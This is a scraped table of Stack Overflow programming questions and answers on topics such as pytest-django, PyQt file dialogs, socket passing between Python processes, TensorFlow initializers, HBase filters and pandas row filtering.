| 1 | 2016-06-23T13:44:12Z | [
"python",
"django",
"pytest-django"
] |
Django pytest AssertionError: should return body unicode | 37,992,133 | <p>I was learning <strong>django-pytest</strong> and Im trying to test the unicode, but was getting error</p>
<p><strong>My models</strong></p>
<pre><code>class Post(models.Model):
body = models.TextField()
value = models.CharField(max_length=5)
def __unicode__(self):
return self.body
</code></pr... | 2 | 2016-06-23T12:48:33Z | 38,589,629 | <pre><code>object = obj
result = object.__unicode__()
</code></pre>
| 2 | 2016-07-26T12:14:09Z | [
"python",
"django",
"pytest-django"
] |
Segmentation of defective areas in grayscale images, which is invariant to shadows | 37,992,180 | <p>I want to segment defective areas in images using MATLAB/Python-OpenCV.</p>
<p>Original image:</p>
<p><img src="http://i.stack.imgur.com/oEtNZ.png" alt="img1"></p>
<p>With Defects:</p>
<p><a href="http://imgur.com/fyDkpcZ" rel="nofollow">http://imgur.com/fyDkpcZ</a></p>
<p>Defect can be seen at 3rd rectangle.</... | 3 | 2016-06-23T12:51:30Z | 37,993,024 | <p>A Laplace of Gaussian filter is a zero mean operation. If you feed it an 8-bit image with intensities centered on 127, it will return you image data centered on zero. You must use a filter bias of arbitrary value, usually half the container's max value (so in this 8-bit example, the bias would be 127). You can al... | 1 | 2016-06-23T13:26:37Z | [
"python",
"matlab",
"opencv",
"image-processing"
] |
How to use pyramid cookie to authenticate user in tornado web framework? | 37,992,209 | <p>In a server, I have a pyramid app running and I plan to have another tornado app running in parallel in the same machine. Let's say the pyramid app is available in www.abcd.com, then the tornado app will be available in www.abcd.com:9000. </p>
<p>I want only the authenticated users in the pyramid webapp to be able ... | 2 | 2016-06-23T12:52:34Z | 38,032,565 | <p>The two locations are separate origins in HTTP language. By default, they should not share cookies.</p>
<p>Before trying to figure out how to pass cookies around I'd try to set up a front end web server like Nginx that would proxy requests between two different backend servers. Both applications could get their own... | 1 | 2016-06-25T20:12:44Z | [
"python",
"session",
"cookies",
"tornado",
"pyramid"
] |
QFileDialog closes window when called | 37,992,306 | <p>This if my first time asking a question here so please forgive me for any mistakes.</p>
<p>So my problem is when I run my program it works fine. But as soon as I click Search the program closes. </p>
<p>I use <code>self.pushButton_5.cicked.connect(run)</code> to call on a function that runs:</p>
<p><code>openfile... | 1 | 2016-06-23T12:55:53Z | 37,993,654 | <p>You are using the keyword <code>self</code> from a non-member function. Just put the function in your class:</p>
<pre><code>def run(self):
openfile = QtWidgets.QFileDialog.getOpenFileName() # Filename line
f = open(openfile[0], 'r') # New line
data = f.read()
</code></pre>
<p>an connect it with:</p>
<... | 1 | 2016-06-23T13:52:59Z | [
"python",
"qt",
"pyqt5",
"qfiledialog"
] |
Passing Python object to another Python process | 37,992,318 | <p>Let say we have a server application written in Python.</p>
<p>Let also say that this main server process forked two more processes at the startup.</p>
<p>Server awaits its clients, and when one comes decides to which of two forked processes should pass the client's socket.</p>
<p>I do not want to fork a process ... | 1 | 2016-06-23T12:56:32Z | 37,992,416 | <blockquote>
<p>Would pickling the socket object and pushing it through IPC work?</p>
</blockquote>
<p>No. Inside that object is a file descriptor or handle to the kernel socket. It's just a number that the process uses to identify the socket when making system calls.</p>
<p>If you pickle that Python socket object ... | 3 | 2016-06-23T13:00:44Z | [
"python",
"sockets",
"object",
"ipc"
] |
Change initializer of Variable in Tensorflow | 37,992,326 | <p>I have a predefined code that creates a Tensorflow graph. The variables are contained in variable scopes and each has a predefined initializer.
Is there any way to change the initializer of the variables?</p>
<p>example:
The first graph defines</p>
<pre><code>with tf.variable_scope('conv1')
w = tf.get_variab... | 3 | 2016-06-23T12:57:05Z | 38,600,745 | <p>The problem is that initialization can't be changed on setting up reuse (the initialization is set during the first block).</p>
<p>So, just define it with xavier intialization during the first variable scope call. So the first call would be, then initialization of all variables with be correct:</p>
<pre><code>with... | 0 | 2016-07-26T22:14:15Z | [
"python",
"tensorflow"
] |
Syntax error at second definition in Python | 37,992,406 | <pre><code>def specificChecker(someThing, checker):
if checker == None:
return someThing
elif checker == True:
return not someThing
else:
return None
def whatDoesTheCheckerSay(someThing):
if specificChecker(someThing) == someThing:
return 'The checker value was False on ... | 0 | 2016-06-23T12:40:49Z | 37,992,444 | <p>You cannot use the line: </p>
<pre><code>elif specificChecker(someThing) == not someThing:
</code></pre>
<p>This must be written</p>
<pre><code>elif specificChecker(someThing) != someThing:
</code></pre>
<p>to be valid Python.</p>
<p>This is also valid but is perhaps less readable:</p>
<pre><code>elif (specifi... | 3 | 2016-06-23T13:01:51Z | [
"python",
"function",
"syntax",
"definition"
] |
Syntax error at second definition in Python | 37,992,406 | <pre><code>def specificChecker(someThing, checker):
if checker == None:
return someThing
elif checker == True:
return not someThing
else:
return None
def whatDoesTheCheckerSay(someThing):
if specificChecker(someThing) == someThing:
return 'The checker value was False on ... | 0 | 2016-06-23T12:40:49Z | 37,992,486 | <p>Line 12: <code>elif specificChecker(someThing) == not someThing:</code></p>
<p>If you want to check if some variable is not some variable, used <code>is not</code> for boolean or <code>!=</code> for values and strings</p>
| 2 | 2016-06-23T13:03:42Z | [
"python",
"function",
"syntax",
"definition"
] |
Hbase Python Filter based on the row key | 37,992,469 | <p>I'm using Python and Hbase and I need to filter rows from Hbase based on the row key.</p>
<p>I managed to make it work for a column <code>title:t</code>, but I couldn't find any way to apply the substring filter to the row key column.</p>
<p>Here is how I did it for <code>title:t</code> column and it works fine:</... | 0 | 2016-06-23T13:02:52Z | 38,072,634 | <p><strong>Use <code>RowFilter</code> if you want to filter by row key</strong> :</p>
<pre><code>for key, data in index.scan(filter="RowFilter(=,'substring:Valera')"):
print key, data
</code></pre>
| 0 | 2016-06-28T09:43:28Z | [
"python",
"filter",
"hbase"
] |
Learning curve plot keeping test data constant | 37,992,551 | <p>First I defined X and y, which are partly depicted below. </p>
<pre><code> from sklearn import svm
from sklearn.cross_validation import train_test_split
X = array([[11.8, 0., 3.4, 5.7, 0., 5.7],
[33.4, 6.8, 0., 5.7, 0., 5.7],
[33.4, 6.8, 0., 5.7, 0., 5.7])
y = array([ 1., 1., 0.])
</code>... | 0 | 2016-06-23T13:06:32Z | 37,993,698 | <pre><code>from sklearn.svm import SVC
from sklearn.datasets import load_iris
data = load_iris()
X = data.data
y = data.target
clf = SVC()
#====
#Your code
#====
test_training_error = dicto.values()
test_training_error_sorted = sorted(test_training_error, key = lambda e:e[0]) #I think this is important.
from ... | 1 | 2016-06-23T13:54:27Z | [
"python",
"for-loop",
"machine-learning"
] |
How to remove rows from a dataframe if 75 % of its column values is equal to 0 | 37,992,585 | <p>I have a data frame of 44 column and 60,000 rows. I wanted to remove those rows if it has 0 up to 75 % of columns. This 75% :For example in my case out of 44 columns its 33 columns. And so I tried the following function in R
as,</p>
<pre><code>filter <- apply(df, 1,function(x) any(x[1:33]!=0) && any(x[34... | 0 | 2016-06-23T13:07:35Z | 37,992,665 | <p>Seems you want to remove lines which have more than 75% of <code>0</code>. Eg keep lines which have at least 25% of non zero-values.</p>
<p>In <code>R</code>:</p>
<pre><code>df = data.frame(a=c(1,8,0), b=c(0,2,0), c=c(0,0,1), d=c(4,4,0))
df[rowMeans(df!=0)>0.25, ] # or df[rowMeans(df==0)<0.75, ]
# a b c d... | 7 | 2016-06-23T13:11:12Z | [
"python",
"numpy",
"pandas"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.